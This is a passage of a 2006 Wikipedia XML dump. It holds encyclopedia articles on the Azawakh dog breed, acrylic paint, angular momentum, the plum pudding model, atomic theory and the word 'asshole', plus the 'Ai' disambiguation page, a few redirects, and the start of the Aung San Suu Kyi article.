Colours permitted by the [[Fédération Cynologique Internationale|FCI]] breed standard are clear sand to dark fawn/brown, red and brindle (with or without a dark mask), with white bib, tail tip, and white on all feet (which can be tips of toes to high stockings).  Currently, white stockings that go above the elbow joint are considered disqualifying features in France, as is a white collar or half collar.  Many other colours occur in [[Africa]] such as black, blue fawn (that is, with a lilac cast), grizzle, and blue.  The Azawakh in its native land also comes in [[particolour]].  Blue [[brindle]] is also found in about 0.5% of the population; this is a normal recessive gene which again does not meet current FCI standards. The Azawakh&amp;rsquo;s light, supple, elastic gait is a notable breed characteristic, as is a 'bouncy gallop'.

Azawakhs need to be well socialised from an early age and should be challenged with new situations.

They are a combination of a sprinter (though not as fast as a Greyhound) and a long distance runner (like a Saluki).  Therefore they need a good to high level of exercise and should have regular runs off lead in large enclosed areas to run off steam.

==Temperament==
It manages to balance a close bond with its owner with a strong, almost feline independence.  Attentive, distant, reserved with strangers, Azawakhs are gentle and affectionate with those they accept.

==History==
Bred by the [[Tuareg]] nomads of the [[Sahara]] and sub-Saharan [[Sahel]] in the countries of [[Mali]], [[Niger]], and [[Burkina Faso]], the breed is used there as a [[guard dog]] and to hunt [[gazelle]] and [[hare]] at speeds up to 40 miles per hour. Unlike some other Afro-Asian sighthounds it is more of a pack hunter and they bump down the quarry with hindquarters when it has been tired out.  The [[Sloughi]], by comparison, is more of an independent lone hunter and has a high hunting instinct.

They are relatively uncommon in [[Europe]] and [[North America]] but there is a growing band of devotees.  It is not a 'doggy' dog, being very feline in temperamanet and therefore not a good pet for mainstream owners.  However, well socialised and trained, they can be good with cats, children, and strangers.  The breed is not yet registered by [[CKC]] or [[American Kennel Club|AKC]] (but is recorded in AKC&amp;rsquo;s Foundation Stock Service); it is registered with [[United Kennel Club|UKC]], [[ARBA]] and others. 

==External links==
*[http://members.aol.com/tagalas American Azawakh Association]
[[Category:Dog breeds]]
[[Category:Sight hounds]]

[[da:Azawakh]]
[[de:Azawakh]]
[[he:&amp;#1488;&amp;#1494;&amp;#1493;&amp;#1493;&amp;#1488;&amp;#1511;]]
[[no:Azawakh]]
{{Link FA|no}}
[[pl:Chart afrykański]]
[[sr:&amp;#1040;&amp;#1079;&amp;#1072;&amp;#1074;&amp;#1072;&amp;#1082;]]
[[sv:Azawakh]]
[[fr:Azawakh]]</text>
    </revision>
  </page>
  <page>
    <title>Automatic Teller Machine</title>
    <id>2837</id>
    <revision>
      <id>39489823</id>
      <timestamp>2006-02-13T21:52:23Z</timestamp>
      <contributor>
        <username>Nightstallion</username>
        <id>149211</id>
      </contributor>
      <minor />
      <comment>dblrdr</comment>
      <text xml:space="preserve">#REDIRECT [[Automated teller machine]]</text>
    </revision>
  </page>
  <page>
    <title>Acrylic paint</title>
    <id>2838</id>
    <revision>
      <id>41739821</id>
      <timestamp>2006-03-01T11:52:39Z</timestamp>
      <contributor>
        <username>Ixfd64</username>
        <id>6284</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/80.249.52.136|80.249.52.136]] ([[User talk:80.249.52.136|talk]]) to last version by Buck Mulligan</comment>
      <text xml:space="preserve">'''Acrylic paint''' is fast-drying [[paint]] containing pigment suspended in an [[Wiktionary:acrylic|acrylic]] polymer [[emulsion]]. Acrylic paints can be diluted with water, but become water-resistant when dry. Depending on how much the paint is diluted (with water), the finished acrylic painting can resemble a [[watercolor painting|watercolor]] or an [[oil painting]].

Acrylics were first available commercially in the 1940s,  although experimental forms of acrylic resin paints had been developed as early as the 1920s in the U.S. and earlier in Germany. The first commercially available acrylic paints were actually oil compatible.  

Acrylics are sometimes used in place of watercolors because acrylics dry closer to the desired color (slightly darker, usually) while watercolors dry lighter (and often unpredictably, especially for beginning artists).  

Acrylics are often used as an alternative to [[oil paint]]s because acrylics dry much faster (usually within an hour or even as little as less than a minute, depending on brand and thickness of application). Oil paints, which consist of pigment suspended in an oil (usually [[flax|linseed]], or other natural oil) base, can take a very long time to dry:  a few weeks or as long as several months.  Acrylic paints can achieve an oil-paint-like effect, and do so in much less time. Though applied to look like oil paints, acrylics are somewhat limited due to the superior color range of oil paints,{{fact}} and the fact that acrylic paints dry to a shiny, smooth effect&amp;mdash;not surprising since acrylic paints are, basically, plastic. Accordingly, acrylic paint cannot be removed with [[turpentine]], mineral spirits (also known as white spirits), [[ammonia]], or [[rubbing alcohol]].

Acrylic painters modify the appearance, hardness, flexibility, texture, and other characteristics of the paint surface using acrylic media. Watercolor and oil painters also use various media, but the range of acrylic media is much greater.  Acrylics have the ability to bond to many different surfaces, and media can be used to adjust their binding characteristics. Media can change the sheen from gloss to matte, or can add iridescence or texture to the surface. They can also be used to build thick layers of paint: gel and molding paste media are sometimes used to create paintings with relief features that are literally sculptural.  

Acrylic paints are the most commonly used in [[surrealist techniques|grattage]] (''q.v.'').

Acrylic paintings, ideally, should be recognized as being as different from oil paintings as watercolors are — in other words, as a distinct art medium with its own advantages as well as limitations, rather than as a stand-in for another meduim. There are techniques which are available only to acrylic painters, as well as restrictions unique to acrylic painting. Therefore, judging an acrylic painting as though it were an oil painting (or a watercolor) is not always appropriate.

Although the permanency of acrylics is sometimes debated by conservators, they appear more stable than oil paints.  Whereas oil paints normally turn yellow as they age/dry(oxidize), acrylic paints, at least in the 50 years since invention, do not yellow, crack, or change.

[[Category:Painting materials]]

[[de:Acrylfarbe]]
[[es:Pintura acrílica]]
[[fr:Peinture acrylique]]
[[nl:Acrylverf]]
[[pt:Acrílico]]</text>
    </revision>
  </page>
  <page>
    <title>Angular momentum</title>
    <id>2839</id>
    <revision>
      <id>41091320</id>
      <timestamp>2006-02-25T00:09:17Z</timestamp>
      <contributor>
        <username>Joanjoc</username>
        <id>93075</id>
      </contributor>
      <minor />
      <comment>+ca</comment>
      <text xml:space="preserve">In [[physics]] the '''angular momentum''' of an object with respect to a reference point is a measure for the extent to which, and the direction in which, the object rotates about the reference point.

In particular, if the body rotates about an axis, then the angular momentum with respect to a point on the axis is related to the [[mass]] of the object, the [[angular velocity]] and the distance of the mass to the axis.

Without applying [[torque]] to the object, with respect to the reference point, the angular momentum is constant. The angular momentum is a measure for the amount of torque that has been applied over time to the object. The object has [[Inertia#Rotational_inertia|rotational inertia]] that resists changes in rotational [[motion]], quantified by the [[moment of inertia]].

Angular momentum is an important concept in both physics and engineering with numerous applications.  For example, the [[kinetic energy]] stored in a massive rotating object such as a [[flywheel]] is proportional to the angular momentum.

== Angular momentum in classical mechanics ==

===Definition===

The traditional mathematical definition of the angular momentum of a particle about some origin is:

::&lt;math&gt;\mathbf{L} = \mathbf{r} \times \mathbf{p}&lt;/math&gt;

:where 

::'''L''' is the angular momentum of the particle, 
::'''r''' is the position of the particle expressed as a displacement vector from the origin,
::'''p''' is the [[Momentum|linear momentum]] of the particle, and
::&lt;math&gt;\times \,&lt;/math&gt; is the vector [[cross product]].
Because of the cross product, '''L''' is a [[pseudovector]] perpendicular to both the radial vector '''r''' and the momentum vector '''p'''.

If a system consists of several particles, the total angular momentum about an origin can be obtained by adding (or integrating) all the angular momenta of the constituent particles. Angular momentum can also be calculated by multiplying the square of the displacement ''r'', the [[mass]] of the particle and the [[angular velocity]].

For many applications where one is only concerned about rotation around one axis, it is sufficient to discard the pseudovector nature of angular momentum, and treat it like a scalar where it is positive when it corresponds to a counter-clockwise rotations, and negative clockwise. To do this, just take the definition of the cross product and discard the unit vector, so that angular momentum becomes:

:&lt;math&gt;L = |\mathbf{r}||\mathbf{p}|\sin\theta_{r,p}&lt;/math&gt;

where '''&amp;theta;&lt;sub&gt;r,p&lt;/sub&gt;''' is the angle between '''r''' and '''p''' measured from '''r''' to '''p'''; an important distinction because without it, the sign of the cross product would be meaningless. From the above, it is possible to reformulate the definition to either of the following:

:&lt;math&gt;L = \pm|\mathbf{p}||\mathbf{r}_{\mathrm{perpendicular}}|&lt;/math&gt;

where '''r'''&lt;sub&gt;perpendicular&lt;/sub&gt; is called the ''[[lever]] arm distance'' to '''p'''. 

The easiest way to conceptualize this is to consider the lever arm distance to be the distance from the origin to the line that '''p''' travels along. With this definition, it is necessary to consider the direction of '''p''' (pointed clockwise or counter-clockwise) to figure out the sign of L. Equivalently:

:&lt;math&gt;L = \pm|\mathbf{r}||\mathbf{p}_{\mathrm{perpendicular}}|&lt;/math&gt;

where '''p'''&lt;sub&gt;perpendicular&lt;/sub&gt; is the component of '''p''' that is perpendicular to '''r'''. As above, the sign is decided base on the sense of rotation.

For an object with a fixed mass that is rotating about a fixed symmetry axis,
the angular momentum is expressed as the product of the [[moment of inertia]] of the object and its angular
velocity vector:

:&lt;math&gt;\mathbf{L}= I \mathbf{\omega} &lt;/math&gt; 

where 

''I'' is the [[moment of inertia]] of the object

'''&amp;omega;''' is the [[angular velocity]].

===Conservation of angular momentum===

In analogy to [[Newton's laws of motion|Newton's second law]] for linear momentum, we have the following [[Proof of angular momentum|law about angular momentum]]:

:&lt;math&gt;\frac{d\mathbf{L}}{dt} = \boldsymbol{\tau} &lt;/math&gt;

where '''&amp;tau;''' is the net [[torque]] about the origin.

This implies that angular momentum is a [[Conservation law|conserved quantity]] as long as there is no net torque applied to the particle. What's more, this conservation can be generalized to a system of particles under most conditions so that:

:&lt;math&gt;\mathbf{L}_{\mathrm{system}} =  \mathrm{constant} \Leftrightarrow \sum \tau_{\mathrm{external}} = 0 &lt;/math&gt;

where '''&amp;tau;'''&lt;sub&gt;external&lt;/sub&gt; is any torque applied to the system of particles. 

In orbits, the angular momentum is distributed within the spin of the planet itself, and the angular momentum of its orbit:

:&lt;math&gt;\mathbf{L}_{\mathrm{total}} = \mathbf{L}_{\mathrm{spin}} + \mathbf{L}_{\mathrm{orbit}}
&lt;/math&gt;

If a planet is found to rotate slower than expected, then astronomers suspect that the planet is accompanied by a satellite, because the total angular momentum is shared amongst the planet and its satellite in order to be conserved.

The conservation of angular momentum is used extensively in analyzing what is called ''central force motion''. In central force motion, two bodies form an isolated system not influenced by outside forces, and the origin is placed somewhere on the line between the two bodies. Since any force the bodies exert on each other must be directed along this line, there can be no net torque, with respect to the aforementioned origin, on either body. Thus, angular momentum is conserved. Constant angular momentum is extremely useful when dealing with the [[orbit]]s of [[planet]]s and [[satellite]]s, and also when analyzing the [[Bohr model]] of the [[atom]]!

== Angular momentum in relativistic mechanics ==

In modern (late [[20th century]]) theoretical physics, angular momentum is described using a different formalism. Under this formalism, angular momentum is the [[2-form]] [[Noether charge]] associated with rotational invariance (As a result, angular momentum isn't conserved for general curved spacetimes, unless it happens to be asymptotically rotationally invariant). For a system of point particles without any intrinsic angular momentum, it turns out to be

:&lt;math&gt;\sum_i \bold{r}_i\wedge \bold{p}_i&lt;/math&gt; 

(Here, the [[wedge product]] is used.).

== Angular momentum in quantum mechanics ==

In [[quantum mechanics]], angular momentum is defined like [[momentum# Momentum in quantum mechanics |momentum]] - not as a quantity but as an [[operator]] on the [[wave function]]:

:&lt;math&gt;\mathbf{L}=\mathbf{r}\times\mathbf{p}&lt;/math&gt;

where '''r''' and '''p''' are the position and momentum operators respectively. In particular, for a single particle with no [[electric charge]] and no [[spin (physics)|spin]], the angular momentum operator can be written in the position basis as

:&lt;math&gt;\mathbf{L}=-i\hbar(\mathbf{r}\times\nabla)&lt;/math&gt;

where &amp;nabla; is the [[gradient]] operator.  This symbol is also called the [[Laplacian operator]], read as &quot;del&quot;. This is a commonly encountered form of the angular momentum operator, though not the most general one. It has the following properties

:&lt;math&gt;[L_i, L_j ] = i \hbar \epsilon_{ijk} L_k&lt;/math&gt;,  &lt;math&gt;\left[L_i, L^2 \right] = 0&lt;/math&gt;

and even more importantly [[commutator|commutes]] with the [[hamiltonian (quantum mechanics)|hamiltonian]] of such a chargeless and spinless particle

:&lt;math&gt;\left[L_i, H \right] = 0&lt;/math&gt;.
Angular Momentum operators usually occur when solving a problem with [[spherical symmetry]] in [[spherical coordinates]]. Then, the angular momentum in space representation is:
:: &lt;math&gt;\ L^2 = \frac{1}{\sin\theta}\frac{\partial}{\partial \theta}\left( \sin\theta \frac{\partial}{\partial \theta}\right) + \frac{1}{\sin^2\theta}\frac{\partial^2}{\partial \phi^2} &lt;/math&gt;
When solving to find [[eigenstate]]s of this operator, we obtain the following
:: &lt;math&gt; L^2 | l, m \rang = {\hbar}^2 l(l+1) | l, m \rang &lt;/math&gt;
:: &lt;math&gt; L_z | l, m \rang = \hbar m | l, m \rang &lt;/math&gt;
where
::&lt;math&gt; \lang \theta , \phi | l, m \rang = Y_{l,m}(\theta,\phi)&lt;/math&gt;
are the [[spherical harmonic]]s.

== See also ==

* [[Angular momentum coupling]]
* [[Angular velocity]]
* [[Areal velocity]]
* [[Momentum]]
* [[Rotational energy]]
* [[Torque]]

==References==
* E. U. Condon and G. H. Shortley, ''The Theory of Atomic Spectra'', (1970) Cambridge at the University Press, ISBN 521-09209-4  ''See chapter 3''.
* Edmonds, A.R., ''Angular Momentum in Quantum Mechanics'', (1957) Princeton University Press, ISBN 0-691-07912-9.
*{{cite book | author=Serway, Raymond A.; Jewett, John W. | title=Physics for Scientists and Engineers (6th ed.) | publisher=Brooks/Cole | year=2004 | id=ISBN 0534408427}}
*{{cite book | author=Tipler, Paul | title=Physics for Scientists and Engineers: Mechanics, Oscillations and Waves, Thermodynamics (5th ed.) | publisher=W. H. Freeman | year=2004 | id=ISBN 0716708094}}

&lt;!--Categories--&gt;
[[Category:Physical quantity]]
[[Category:Rotational symmetry]]

&lt;!-- Interwiki links --&gt;

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    </revision>
  </page>
  <page>
    <title>Plum pudding model</title>
    <id>2840</id>
    <revision>
      <id>39130898</id>
      <timestamp>2006-02-10T22:30:52Z</timestamp>
      <contributor>
        <username>Chlewbot</username>
        <id>620581</id>
      </contributor>
      <minor />
      <comment>robot  Adding: es</comment>
      <text xml:space="preserve">[[Image:Plum_pudding_atom.svg|right|thumb|250x|A schematic representation of the plum pudding model of the atom.]]

In [[physics]], the '''Plum pudding model''' of the [[atom]] was proposed by [[J. J. Thomson]], the discoverer of the electron, before the discovery of the [[proton]] or [[neutron]]. In this model, the atom is composed of electrons surrounded by a soup of positive charge, like [[plum]]s surrounded by [[pudding]]. The electrons were thought to be positioned uniformly throughout the atom. Instead of a soup, the atom was also sometimes said to have had a cloud of positive charge. The model was disproved by [[Ernest Rutherford]]'s [[gold foil experiment]], when he discovered the nucleus of the atom, thus leading to the [[Rutherford model]] of the atom.

This model can be compared to a British treat called [[plum pudding]], hence the name. It is also known as the '''chocolate chip cookie model'''.

{{physics-stub}}
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[[Category:Obsolete scientific theories]]
[[Category:History of physics]]

[[ar:نظرية بودينج]]
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[[he:מודל עוגת הצימוקים]]
[[hu:Thomson-féle atommodell]]</text>
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  <page>
    <title>Atom/Bohr model</title>
    <id>2842</id>
    <revision>
      <id>15901227</id>
      <timestamp>2002-10-09T20:24:18Z</timestamp>
      <contributor>
        <username>Magnus Manske</username>
        <id>4</id>
      </contributor>
      <minor />
      <comment>#REDIRECT [[Bohr model]]</comment>
      <text xml:space="preserve">#REDIRECT [[Bohr model]]</text>
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  <page>
    <title>Wave model</title>
    <id>2843</id>
    <revision>
      <id>38559784</id>
      <timestamp>2006-02-07T02:50:48Z</timestamp>
      <contributor>
        <username>Unint</username>
        <id>531119</id>
      </contributor>
      <comment>category</comment>
      <text xml:space="preserve">#redirect [[Schrödinger equation]] {{R from alternate name}} {{R from ASCII}}</text>
    </revision>
  </page>
  <page>
    <title>Atomic theory</title>
    <id>2844</id>
    <revision>
      <id>41782475</id>
      <timestamp>2006-03-01T18:40:57Z</timestamp>
      <contributor>
        <username>Jagged 85</username>
        <id>468111</id>
      </contributor>
      <comment>/* History */</comment>
      <text xml:space="preserve">In [[physics]], '''atomic theory''' is a [[theory]] of the nature of [[matter]]. It states that all matter is composed of [[atom]]s.  The [[philosophy|philosophical]] background of the atomic theory is called [[atomism]]. The theory applies to the common [[phases of matter]], namely [[solid]]s, [[liquid]]s and [[gas]]ses, as directly experienced on Earth. Strictly speaking, it is not the appropriate theory for [[Plasma (physics)|plasmas]] or [[neutron star]]s where unusual environments such as extremes of temperature or density prevent atoms from forming.

==Importance ==
Arguably, the atomic theory is one of the most important theories in the [[history of science]], with wide-ranging implications for both pure and applied [[science]]. The theory is largely credited to [[John Dalton]], an 18th- and [[19th century]] British chemist.

Modern [[chemistry]] (and [[biochemistry]]) is based upon the theory that all matter is made up of atoms of different [[chemical element|elements]], which cannot be [[transmutation|transmuted]] by chemical means. In turn, chemistry has allowed for the development of the [[pharmaceutical]] industry, the [[petrochemical]] industry, and many others.

Much of [[thermodynamics]] is understandable in terms of [[kinetic theory]], whereby gases are considered to be made up of either atoms or [[molecule]]s, behaving in accordance with [[Newton's laws of motion]]. This was, in turn, a large driving force behind the [[industrial revolution]].

Indeed, many [[macroscopic]] properties of matter are best understood in terms of atoms. Other examples include [[friction]], [[material science]] and [[semiconductor]] theory. The latter is particularly important, as it is the foundation of [[electronics]].

==History==
From the [[6th century BC]], [[Hindu]], [[Buddhist]] and [[Jain]]a philosophers in [[ancient India]] developed the earliest atomic theories. The first philosopher who formulated ideas about the atom in a systematic manner was [[Kanada]] who lived in the 6th century BC. Another Indian philosopher, Pakudha Katyayana who also lived in the 6th century BC and was a contemporary of [[Gautama Buddha]], had also propounded ideas about the atomic constitution of the material world. Indian atomists believed that an atom could be one of upto six elements, with each element having upto 24 properties. They developed detailed theories of how atoms could combine, react, vibrate, move, and perform other actions, and had particularly elaborate theories of how atoms combine, which explains how atoms first combine in pairs, and then group into trios of pairs, which are the smallest visible units of matter. This parallels with the structure of modern atomic theory, in which pairs or triplets of supposedly fundamental quarks combine to create most typical forms of matter. They had also suggested the possibility of splitting an atom which, as we know today, is the source of atomic energy. (See [[Atomism#Indian atomism|Indian atomism]] for more details.)

The existence of atoms was also proposed in the [[5th century BC]] by the [[Ancient Greece|Greek]] philosophers [[Leucippus]] and his pupil [[Democritus]], for which they were called ''atomists''. They argued that all observed phenomena can be in principle explained by the motion of unchanging particles called atoms. Atomism was taken as the basis for a rational world philosophy by the [[Epicureanism|Epicureans]]. The greatest extant Greek treatise on atomic theory and its implications for religion, human life, the existence of the soul, and death, is ''[[De Rerum Natura]]'' (&quot;On the Nature of Things&quot;), written in the [[1st century BC]] by [[Lucretius Carus]].

Since Lucretius' work contradicted Christian concepts of an immortal soul (if the soul is composed of atoms, it must perforce perish upon death; therefore there is no afterlife), it was actively suppressed by Christian writers. The concept thus disappeared in Europe until the end of the [[Middle Ages]].

During the Middle Ages (the [[Islamic Golden Age]]), [[Islam]]ic atomists developed atomic theories that represent a synthesis of both Greek and Indian atomism. (See [[Atomism|Islamic atomism]] for more details.) Older Greek and Indian ideas were further developed by Islamic atomists, along with new Islamic ideas, such as the possibility of there being particles smaller than an atom. As Islamic influence began spreading through Europe, the ideas of Islamic atomism, along with the older ideas of Greek and Indian atomism, spread throughout Europe by the end of the Middle Ages, where modern atomic theories began taking shape.

A modern atomic theory was developed by [[Rudjer Boscovich]] in the [[18th century]], and after that applied in chemistry by [[John Dalton]]. Boscovich based his theory mostly on [[classical mechanics]] ([[Isaac Newton|Newtonian]] mechanics) and published it in [[1758]]. The theory was further developed by [[Amedeo Avogadro]] and the developers of the [[kinetic theory of gases]] such as [[James Clerk Maxwell]] and [[Ludwig Boltzmann]].

In the late [[19th century]], a movement led by [[Ernst Mach]], [[Wilhelm Ostwald]], and [[Karl Pearson]] rejected the atomic theory on [[epistemology|epistemological]] grounds. The dispute was not finally settled until [[Jean Perrin]]'s experimental investigation of [[Albert Einstein|Einstein]]'s mathematical theory of [[Brownian motion]] in the early [[20th century]].

Although Dalton was the founder of modern atomic theory, the evolution of atomic theory did not stop there.  [[Ernest Rutherford]] was a major contributor to the atomic model because he proved that although Dalton and Thompson were partially correct there was still a flaw in both of their models of the atom in that the atom consisted mostly of space. In [[1911]], Rutherford's [[gold foil experiment]] established that the mass of the atom is concentrated in its nucleus, disproving the [[plum pudding model]] of the atom.  Then in [[1915]], [[Niels Bohr]] further advanced atomic theory by developing  the [[Bohr model of the atom]], which soon led to the development of the modern quantum atom.  Up until [[1932]], the prevailing atomic theory had provided evidence for the electron orbiting a nucleus with protons, but it wasn't until that year that [[James Chadwick]] added the discovery of the neutron to atomic theory.  The study of these [[subatomic particle]]s eventually lead to the current [[Standard Model]] of [[particle physics]].

==Dalton's Atomic Theory==
* [[Elements]] are made of tiny particles called [[atoms]].
* All [[atoms]] of a given [[element]] are identical.
* The [[atoms]] of a given [[element]] are different than those of any other [[element]].
* [[Atoms]] of one [[element]] can combine with [[atoms]] of other elements to form [[compounds]].  A given [[compound]] always has the same relative numbers of types of [[atoms]].  
* [[Atoms]] are indivisible in chemical processes.  [[Atoms]] are not created nor destroyed in [[chemical reactions]].  A chemical reaction simply changes the way [[atoms]] are grouped together.

==See also==
* [[Atom]]
* [[Atomism]]
* [[History of thermodynamics]]
* [[Kinetic theory]]
* [[Quantum Mechanics - simplified|Development of Quantum Theory]]

===Related lists===
* [[Timeline of chemical element discovery]]
* [[Timeline of quantum mechanics, molecular physics, atomic physics, nuclear physics, and particle physics]]
* [[Timeline of thermodynamics, statistical mechanics, and random processes]]

[[Category:Atomic physics| ]]
[[Category:Statistical mechanics]]
[[Category:Chemistry theories]]
[[Category:Foundational quantum physics]]
&lt;!-- [[Category:Albert Einstein]] this field doesn't belong to Einstein --&gt;

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  <page>
    <title>Asshole</title>
    <id>2845</id>
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      <id>42071016</id>
      <timestamp>2006-03-03T16:52:14Z</timestamp>
      <contributor>
        <username>Zsinj</username>
        <id>597658</id>
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      <minor />
      <comment>Reverted edits by [[Special:Contributions/208.34.239.69|208.34.239.69]] to last version by Wayward</comment>
      <text xml:space="preserve">{{wiktionarypar3|arsehole|asshole|asshat}}
:''This article is about the word &quot;''asshole''&quot;. For the card game sometimes known as &quot;Asshole&quot;, see [[President (game)]]. For the chemical compound, see [[Arsole]].''

'''Asshole''' or '''arsehole''' (outside of [[North America]]) is a [[slang]]  term referring to the [[anus]]. The word is mainly used as a [[profanity]] towards someone the speaker does not like or to express deep contempt for someone whose behavior is hurtful, self-centered or particularly abrasive. Usually, the person to whom this term is directed is a male.  It may also sometimes be used to describe people who are viewed as &quot;stupid&quot; or &quot;useless.&quot;

This word or its literal translation is found in colloquial speech in a number of [[culture]]s (in both [[English language|English]] and other [[language]]s). This is due to the fact that it describes an [[organ (anatomy)|organ]] of [[defecation|elimination]] that is considered a [[taboo]] region (belonging to the [[intimate parts]]) of the body in many [[society|societies]].

The English word ''ass'' (meaning [[donkey]], derived from the same root as its zoological name ''Equus '''asinus''''') may also be used as a term of contempt, referring to a silly or stupid person. In [[North America]], the words ''arse'' and ''ass'' have become [[synonym]]ous; however in the rest of the world, ''ass'' still only refers to the donkey, rather than the ''arse'' ([[buttock]]s).  It is worth noting that some varieties of English [[rhotic and non-rhotic accents|drop the letter &quot;R&quot;]], leading to practically identical pronunciations of ''ass'' and ''arse''.

Until the early 1990s, the word was considered one of a number of words that could not be uttered on commercial television in the United States. Comedian [[Andrew Dice Clay]] caused a major shock  when he uttered the word during a televised awards show in the 1980s. By 1994, however, the word had become less  vulgar, and was often featured in dialogue on the long-running television series ''[[NYPD Blue]]''; it has yet to become anything close to commonplace on network TV, however.  It is important to note that while the word ''ass'' has found a place on broadcast television, ''asshole'' is not used, probably due to its more vulgar connotation.

In 1993, actor [[Denis Leary]] enjoyed some success with a comedic song called &quot;Asshole&quot; which opened his stage play ''[[No Cure For Cancer]]'' and was featured in a [[music video]] [http://www.milkandcookies.com/links/38718/]. It topped the [[Triple J Hottest 100, 1993]] in Australia and subsequently reached #2 on the charts in that country in 1994. Alternative rock artist [[Beck]] has written and recorded a song called &quot;Asshole,&quot; one of his most acclaimed compositions. The British ska-punk band [[Snuff (band)|Snuff]] also have a song named &quot;Arsehole&quot;.

'''Asshat''' is a slightly more trendy and less severe variation of ''asshole'', graphically describing someone who has his &quot;head up his ass&quot; (i.e., not knowing what's going on), or a variation of &quot;butthead&quot;. In the former sense, it is suggested that one is wearing one's ass for a hat, or alternately, a hat for one's ass (Some people view it as that from the waist up, you are a hat for your own ass.).  A more modern usage of ''asshat'' describes a person doing something stupid, and can apply to anyone: &quot;The boss is up to asshattery because he broke the computer even though he knew he was doing the wrong thing.&quot; This meaning was popularized by [[Something Awful]] character [[Jeff K.]]

The word is popular in many online communities, serving as a more palatable version of its antecedent. According to [[Google]]'s Usenet statistics, the word only saw a token appearance every day or two starting in July, 1999, but following a slow rise in 2002, it entered popular usage in May, 2003.

As it continued to grow in [[popularity]], asshat began to be used by online gamers, in first person shooter and massive multiplayer role playing games. It was a commonplace word on servers where [[vulgar]] language was not allowed.

The insult &quot;assclown&quot; is used in a similar fashion, although it is not as common. &quot;Assclown&quot; has become well known among fans of the [[World Wrestling Entertainment|WWE]] due to wrestler [[Chris Jericho]] using it during his promos, especially his &quot;Highlight Reel&quot;; the term was also famously used in the film ''[[Office Space]]'' to describe singer-songwriter [[Michael Bolton]].

[[Category:Profanity]]
[[Category:Pejorative terms for people]]
[[Category:Comedy songs]]
[[Category:1993 songs]]
[[Category:1994 singles]]

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  <page>
    <title>Ai</title>
    <id>2846</id>
    <revision>
      <id>41470870</id>
      <timestamp>2006-02-27T15:54:56Z</timestamp>
      <contributor>
        <username>Janihan</username>
        <id>763121</id>
      </contributor>
      <comment>/* People and types of people */</comment>
      <text xml:space="preserve">{{TOCright}}
'''Ai''' (as a word, proper name and acronym) can refer to many things.

== Technology ==
''does not include companies or organizations''
* [[Artificial intelligence]] (AI), intelligence exhibited by any manufactured system, likely the most common usage
* [[Adobe Illustrator]] (.ai)(AI), as the file extension for the native file format and abbreviation of this application

== Digraph ==
:In English, ai makes the IPA [ei] sound as in '''pain'''.
:In Spanish, ai makes the IPA [ai] sound as in the English '''I'''.

== Television and Film ==
''does not include companies or organizations''
* ''[[A.I. (film)]]'', a 2001 film directed by Steven Spielberg
* ''[[American Idol]]'' (AI), the American television series
* ''[[Australian Idol]]'' (AI), the Australian television series

== Medicine ==
* [[Aortic insufficiency]] (AI), a symptom of a heart disorder
* [[Aromatase inhibitor]] (AI), one of a class of drugs used to treat cancer, in particular breast cancer
* [[Artificial insemination]] (AI), the insertion of male sperm into the female reproductive tract using artificial means other than sexual intercourse
*[[Amelogenesis imperfecta]] (AI), a genetic disorder affecting tooth development

== Geography ==
* [[Ai (Bible)]], a place mentioned in the Bible, likely identical to the archaeological site of Et-Tell
* [[Anguilla]] (AI), as the [[ISO 3166-1|ISO]] 2-letter [[country code]]
* [[Appenzell Innerrhoden]] (AI), a Swiss canton

== People and types of people ==
* [[Emperor Ai of Han]] (27 BC–1 BC)
* [[Ai (poet)]] (born 1947), American poet
* [[AI (singer)]] (born 1981), a Japanese [[Hip hop music|hip hop]] singer
* [[Ai Kago]] (born 1988), a Japanese singer
* [[Ai Otsuka]] (born 1982), popular Japanese singer
* [[Ai Takahashi]] (born 1986), a Japanese singer
* [[Allen Iverson]] (born 1975) (AI), an NBA basketball player

==Manga==
* &quot;Ai Amano&quot;, the main character in the manga series ''[[Video Girl Ai]]''
* &quot;[[Princess Ai]]&quot; character based on [[Courtney Love]] in the Manga of the same name.

== Organizations ==
* '''[[Air India]]''' (AI) ([[IATA airline designator]])
* [[Amnesty International]] (AI), an international non-governmental organization
* [[The Art Institutes]] (AI), a system of educational institutions

== Other ==
* [[Ai (animal)]], a three-toed [[sloth]]
* [[Ai (chimpanzee)]], a female chimp famous for showing surprising numerical capability.
* [[Air interdiction]] (AI), a military capability
* ''[[Annals of Inisfallen]] (AI)'', a chronicle of the medieval history of Ireland
* [[Aoi Mac Ollamain]] (Ai), the Celtic god of poetry as an alternative first name and name abbreviation
* ''[[Artificial Intelligence (series)]]'' (AI), a musical album series by Warp Records
* [[Love]] (Ai) in the sense of &quot;universal love&quot; as developed by the Chinese philosopher [[Mozi]]
* [[American Idiot]] (AI), 2004 album by the band [[Green Day]]
* [[Alexis I. duPont High School]], referred to as AI 

== See also ==
{{Wiktionarypar2|AI|ai}}
* '''[[Ay]]''', a pharaoh of Ancient Egypt (which can also appear as '''Ai''')
* '''[[Ái]]''', the husband of Edda and putative ancestor of the thralls or serfs in the Norse eddic poem ''Rígthula''
* '''[[.ai]]''' (the [[ccTLD]] for Anguilla).

{{2LCdisambig}}

[[ca:AI]]
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  <page>
    <title>Aung San Suu Kyi</title>
    <id>2847</id>
    <revision>
      <id>41518340</id>
      <timestamp>2006-02-27T22:18:50Z</timestamp>
      <contributor>
        <username>Hintha</username>
        <id>111392</id>
      </contributor>
      <minor />
      <comment>/* International supporters */</comment>
      <text xml:space="preserve">[[Image:Aung_San_Suu_Kyi.jpg|thumb|Aung San Suu Kyi]]
Daw '''Aung San Suu Kyi''' ([[Burmese language|Burmese]]: [[Image:AungSanSuuKyi1.png]]), born [[June 19]], [[1945]] in [[Yangon]] (Rangoon), is a [[nonviolence|nonviolent]] pro-[[democracy]] activist in [[Myanmar]] (Burma). In 1990 the devout [[Buddhist]] won the [[Rafto Prize]] and the [[Sakharov Prize|Sakharov Prize for Freedom of Thought]]. In 1991 she won the [[Nobel Peace Prize]] for her peaceful and non-violent struggle under a repressive military regime.

One of her most famous speeches is the ''Freedom From Fear'' speech which begins:

:&quot;''It is not power that corrupts but fear. Fear of losing power corrupts those who wield it and fear of the scourge of power corrupts those who are subject to it''.&quot;

==Political influences== 

